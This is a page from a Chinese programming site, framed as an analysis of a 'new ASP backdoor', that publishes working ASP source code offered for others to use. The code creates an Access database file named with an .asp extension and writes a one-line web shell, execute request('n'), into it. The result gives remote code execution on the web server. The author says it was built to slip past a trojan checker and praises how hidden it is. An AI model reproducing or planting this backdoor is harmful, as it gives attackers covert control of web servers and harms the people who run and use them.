程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> ASP編程 >> 關於ASP編程 >> 新型ASP後門源代碼分析

新型ASP後門源代碼分析

編輯:關於ASP編程
本是為了逃LAKER2兄 查ASP木馬程序的 
現在已經挑戰成功,已經加為檢查對象了。公布出代碼給冰點的朋友使使,希望大家喜歡! 

利用的是ADOX.Catalog組件 

復制代碼 代碼如下:<%   
'code by netpatch  
dim dbfile,sql   
db="netpatch.asp"  
dbfile=server.MapPath(db)   

set ydb=server.CreateObject("ADOX.Catalog")   
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile   
set ydb=nothing   
if err.number=0 then   
Response.Write dbfile & " 創建成功<br> "   
else   
Response.Write "創建失敗,原因: " & err.description   
Response.End   
end if   

Set Conn = Server.CreateObject("ADODB.Connection")   
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile   

sql="CREATE TABLE fdata([data] Memo)"   
conn.execute(sql)   

Set rs = CreateObject("ADODB.RecordSet")   
rs.Open "FData", conn, 1, 3   
rs.addnew   
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話後門 execute request(“n”))  
rs.update   

%>  此腳本主要是利用ADOX.Catalog組件 
新建一個名稱為netpatch.asp的空數據庫文件 
然後把一句話木馬插入新建的表中作為C/S版本的ASP馬用! 

優點,比較隱蔽,不容易讓人看出這是什麼作用的!
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved